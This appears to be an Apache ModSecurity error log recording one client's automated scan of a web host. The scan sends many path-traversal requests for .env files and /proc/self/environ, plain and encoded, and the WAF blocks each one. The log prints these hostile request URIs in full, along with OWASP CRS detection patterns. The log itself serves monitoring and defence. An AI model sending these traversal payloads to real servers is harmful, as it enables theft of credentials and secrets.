[Mon Oct 26 10:03:27.972665 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at9dr4kBAlsUe0HxPuSmKAAAAA4"]
[Mon Oct 26 10:03:27.990711 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9dr7GXTlA520hhAgG8BgAAAA8"]
[Mon Oct 26 10:03:27.990760 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9dr7GXTlA520hhAgG8BgAAAA8"]
[Mon Oct 26 10:03:27.990807 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9dr7GXTlA520hhAgG8BgAAAA8"]
[Mon Oct 26 10:03:27.990989 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9dr7GXTlA520hhAgG8BgAAAA8"]
[Mon Oct 26 10:03:27.991276 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at9dr7GXTlA520hhAgG8BgAAAA8"]
[Mon Oct 26 10:03:28.019474 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at9dsLGXTlA520hhAgG8BwAAAA8"]
[Mon Oct 26 10:03:28.019566 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at9dsLGXTlA520hhAgG8BwAAAA8"]
[Mon Oct 26 10:03:28.019752 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at9dsLGXTlA520hhAgG8BwAAAA8"]
[Mon Oct 26 10:03:28.020015 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/..;/.env"] [unique_id "at9dsLGXTlA520hhAgG8BwAAAA8"]
[Mon Oct 26 10:03:28.065001 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at9dsNdWtrCZuT8sbNQ5fwAAACU"]
[Mon Oct 26 10:03:28.065253 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at9dsNdWtrCZuT8sbNQ5fwAAACU"]
[Mon Oct 26 10:03:28.065478 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/..;/..;/..;/proc/self/environ"] [unique_id "at9dsNdWtrCZuT8sbNQ5fwAAACU"]
[Mon Oct 26 10:03:28.078644 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /static/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b1wAAAAc"]
[Mon Oct 26 10:03:28.078711 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b1wAAAAc"]
[Mon Oct 26 10:03:28.078883 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b1wAAAAc"]
[Mon Oct 26 10:03:28.079115 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/static/..;/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b1wAAAAc"]
[Mon Oct 26 10:03:28.121345 2026] [core:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39380] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/proc/self/environ)
[Mon Oct 26 10:03:28.123216 2026] [core:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39398] AH10244: invalid URI path (/icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/proc/self/environ)
[Mon Oct 26 10:03:28.124318 2026] [core:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39352] AH10244: invalid URI path (/%2e%2e/.env)
[Mon Oct 26 10:03:28.127622 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /app/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at9dsLcZuT5gdeNd6aUKDgAAAAs"]
[Mon Oct 26 10:03:28.127689 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at9dsLcZuT5gdeNd6aUKDgAAAAs"]
[Mon Oct 26 10:03:28.127925 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at9dsLcZuT5gdeNd6aUKDgAAAAs"]
[Mon Oct 26 10:03:28.128139 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at9dsLcZuT5gdeNd6aUKDgAAAAs"]
[Mon Oct 26 10:03:28.160167 2026] [core:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39396] AH10244: invalid URI path (/%2E%2E/%2E%2E/%2E%2E/%2E%2E/.env)
[Mon Oct 26 10:03:28.165570 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLGXTlA520hhAgG8CgAAAA8"]
[Mon Oct 26 10:03:28.165643 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLGXTlA520hhAgG8CgAAAA8"]
[Mon Oct 26 10:03:28.165674 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLGXTlA520hhAgG8CgAAAA8"]
[Mon Oct 26 10:03:28.165702 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLGXTlA520hhAgG8CgAAAA8"]
[Mon Oct 26 10:03:28.166381 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLGXTlA520hhAgG8CgAAAA8"]
[Mon Oct 26 10:03:28.166609 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLGXTlA520hhAgG8CgAAAA8"]
[Mon Oct 26 10:03:28.167264 2026] [core:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] AH10244: invalid URI path (/appearance/../../.env)
[Mon Oct 26 10:03:28.179961 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLnmpHTSsAiKbb2b2QAAAAc"]
[Mon Oct 26 10:03:28.180023 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLnmpHTSsAiKbb2b2QAAAAc"]
[Mon Oct 26 10:03:28.180059 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLnmpHTSsAiKbb2b2QAAAAc"]
[Mon Oct 26 10:03:28.180092 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /api/console/api_server?sense_version=@@sense_version&apis=../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLnmpHTSsAiKbb2b2QAAAAc"]
[Mon Oct 26 10:03:28.180176 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:apis. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:apis: ../../../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLnmpHTSsAiKbb2b2QAAAAc"]
[Mon Oct 26 10:03:28.180787 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 25)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLnmpHTSsAiKbb2b2QAAAAc"]
[Mon Oct 26 10:03:28.181042 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=25,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/api/console/api_server"] [unique_id "at9dsLnmpHTSsAiKbb2b2QAAAAc"]
[Mon Oct 26 10:03:28.184847 2026] [core:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] AH10244: invalid URI path (/static/../../../a/../../../../.env)
[Mon Oct 26 10:03:28.185686 2026] [core:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39416] AH10244: invalid URI path (/appearance/../../proc/self/environ)
